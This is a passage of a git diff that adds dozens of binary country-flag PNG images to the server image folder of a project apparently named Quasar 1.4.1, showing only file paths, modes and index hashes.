b/Quasar-1.4.1/Quasar.Server/Images/Flags/bb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bd.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bd.png new file mode 100755 index 0000000..076a8bf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/be.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/be.png new file mode 100755 index 0000000..d86ebc8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/be.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bf.png new file mode 100755 index 0000000..ab5ce8f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bg.png new file mode 100755 index 0000000..0469f06 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bh.png new file mode 100755 index 0000000..ea8ce68 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bi.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bi.png new file mode 100755 index 0000000..5cc2e30 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bi.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bj.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bj.png new file mode 100755 index 0000000..1cc8b45 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bj.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bm.png new file mode 100755 index 0000000..c0c7aea Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bn.png new file mode 100755 index 0000000..8fb0984 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bo.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bo.png new file mode 100755 index 0000000..ce7ba52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/br.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/br.png new file mode 100755 index 0000000..9b1a553 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/br.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bs.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bs.png new file mode 100755 index 0000000..639fa6c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bs.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bt.png new file mode 100755 index 0000000..1d512df Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bt.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bv.png new file mode 100755 index 0000000..160b6b5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bv.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bw.png new file mode 100755 index 0000000..fcb1039 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/by.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/by.png new file mode 100755 index 0000000..504774e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/by.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bz.png new file mode 100755 index 0000000..be63ee1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/bz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ca.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ca.png new file mode 100755 index 0000000..1f20419 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ca.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/catalonia.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/catalonia.png new file mode 100755 index 0000000..5041e30 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/catalonia.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cc.png new file mode 100755 index 0000000..aed3d3b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cc.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cd.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cd.png new file mode 100755 index 0000000..5e48942 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cf.png new file mode 100755 index 0000000..da687bd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cg.png new file mode 100755 index 0000000..a859792 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ch.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ch.png new file mode 100755 index 0000000..242ec01 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ch.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ci.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ci.png new file mode 100755 index 0000000..3f2c62e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ci.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ck.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ck.png new file mode 100755 index 0000000..746d3d6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ck.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cl.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cl.png new file mode 100755 index 0000000..29c6d61 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cl.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cm.png new file mode 100755 index 0000000..f65c5bd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cn.png new file mode 100755 index 0000000..8914414 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/co.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/co.png new file mode 100755 index 0000000..a118ff4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/co.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cr.png new file mode 100755 index 0000000..c7a3731 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cs.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cs.png new file mode 100755 index 0000000..8254790 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cs.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cu.png new file mode 100755 index 0000000..083f1d6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cu.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cv.png new file mode 100755 index 0000000..a63f7ea Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cv.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cx.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cx.png new file mode 100755 index 0000000..48e31ad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cx.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cy.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cy.png new file mode 100755 index 0000000..5b1ad6c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cz.png new file mode 100755 index 0000000..c8403dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/cz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/de.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/de.png new file mode 100755 index 0000000..ac4a977 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/de.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/dj.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/dj.png new file mode 100755 index 0000000..582af36 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/dj.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/dk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/dk.png new file mode 100755 index 0000000..e2993d3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/dk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/dm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/dm.png new file mode 100755 index 0000000..5fbffcb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/dm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/do.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/do.png new file mode 100755 index 0000000..5a04932 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/do.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/dz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/dz.png new file mode 100755 index 0000000..335c239 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/dz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ec.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ec.png new file mode 100755 index 0000000..0caa0b1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ec.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ee.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ee.png new file mode 100755 index 0000000..0c82efb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ee.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/eg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/eg.png new file mode 100755 index 0000000..8a3f7a1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/eg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/eh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/eh.png new file mode 100755 index 0000000..90a1195 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/eh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/england.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/england.png new file mode 100755 index 0000000..3a7311d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/england.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/er.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/er.png new file mode 100755 index 0000000..13065ae Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/er.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/es.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/es.png new file mode 100755 index 0000000..c2de2d7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/es.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/et.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/et.png new file mode 100755 index 0000000..2e893fa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/et.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/europeanunion.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/europeanunion.png new file mode 100755 index 0000000..d6d8711 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/europeanunion.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/fam.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/fam.png new file mode 100755 index 0000000..cf50c75 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/fam.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/fi.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/fi.png new file mode 100755 index 0000000..14ec091 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/fi.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/fj.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/fj.png new file mode 100755 index 0000000..cee9988 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/fj.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/fk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/fk.png new file mode 100755 index 0000000..ceaeb27 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/fk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/fm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/fm.png new file mode 100755 index 0000000..066bb24 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/fm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/fo.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/fo.png new file mode 100755 index 0000000..cbceb80 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/fo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/fr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/fr.png new file mode 100755 index 0000000..8332c4e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/fr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ga.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ga.png new file mode 100755 index 0000000..0e0d434 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ga.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gb.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gb.png new file mode 100755 index 0000000..ff701e1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gd.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gd.png new file mode 100755 index 0000000..9ab57f5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ge.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ge.png new file mode 100755 index 0000000..728d970 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ge.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gf.png new file mode 100755 index 0000000..8332c4e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gh.png new file mode 100755 index 0000000..4e2f896 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gi.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gi.png new file mode 100755 index 0000000..e76797f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gi.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gl.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gl.png new file mode 100755 index 0000000..ef12a73 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gl.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gm.png new file mode 100755 index 0000000..0720b66 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gn.png new file mode 100755 index 0000000..ea660b0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gp.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gp.png new file mode 100755 index 0000000..dbb086d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gp.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gq.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gq.png new file mode 100755 index 0000000..ebe20a2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gq.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gr.png new file mode 100755 index 0000000..8651ade Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gs.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gs.png new file mode 100755 index 0000000..7ef0bf5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gs.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gt.png new file mode 100755 index 0000000..c43a70d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gt.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gu.png new file mode 100755 index 0000000..92f37c0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gu.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gw.png new file mode 100755 index 0000000..b37bcf0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/gy.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/gy.png new file mode 100755 index 0000000..22cbe2f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/gy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hk.png new file mode 100755 index 0000000..d5c380c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/hk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hm.png new file mode 100755 index 0000000..a01389a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/hm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hn.png new file mode 100755 index 0000000..96f8388 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/hn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hr.png new file mode 100755 index 0000000..696b515 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/hr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ht.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ht.png new file mode 100755 index 0000000..416052a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ht.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/hu.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/hu.png new file mode 100755 index 0000000..7baafe4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/hu.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/id.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/id.png new file mode 100755 index 0000000..c6bc0fa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/id.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ie.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ie.png new file mode 100755 index 0000000..26baa31 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ie.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/il.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/il.png new file mode 100755 index 0000000..2ca772d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/il.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/in.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/in.png new file mode 100755 index 0000000..e4d7e81 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/in.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/io.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/io.png new file mode 100755 index 0000000..3e74b6a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/io.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/iq.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/iq.png new file mode 100755 index 0000000..878a351 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/iq.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ir.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ir.png new file mode 100755 index 0000000..c5fd136 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ir.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/is.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/is.png new file mode 100755 index 0000000..b8f6d0f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/is.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/it.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/it.png new file mode 100755 index 0000000..89692f7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/it.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/jm.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/jm.png new file mode 100755 index 0000000..7be119e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/jm.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/jo.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/jo.png new file mode 100755 index 0000000..11bd497 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/jo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/jp.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/jp.png new file mode 100755 index 0000000..325fbad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/jp.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ke.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ke.png new file mode 100755 index 0000000..51879ad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ke.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kg.png new file mode 100755 index 0000000..0a818f6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/kg.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kh.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kh.png new file mode 100755 index 0000000..30f6bb1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/kh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ki.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ki.png new file mode 100755 index 0000000..2dcce4b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ki.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/km.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/km.png new file mode 100755 index 0000000..812b2f5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/km.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kn.png new file mode 100755 index 0000000..febd5b4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/kn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kp.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kp.png new file mode 100755 index 0000000..d3d509a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/kp.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kr.png new file mode 100755 index 0000000..9c0a78e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/kr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kw.png new file mode 100755 index 0000000..96546da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/kw.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ky.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ky.png new file mode 100755 index 0000000..15c5f8e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ky.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/kz.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/kz.png new file mode 100755 index 0000000..45a8c88 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/kz.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/la.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/la.png new file mode 100755 index 0000000..e28acd0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/la.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lb.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lb.png new file mode 100755 index 0000000..d0d452b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/lb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lc.png new file mode 100755 index 0000000..a47d065 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/lc.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/li.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/li.png new file mode 100755 index 0000000..6469909 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/li.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lk.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lk.png new file mode 100755 index 0000000..088aad6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/lk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lr.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lr.png new file mode 100755 index 0000000..89a5bc7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/lr.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/ls.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/ls.png new file mode 100755 index 0000000..33fdef1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/ls.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/lt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/lt.png new file mode 100755 index 0000000..c8ef0da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Images/Flags/lt.png differ diff --git 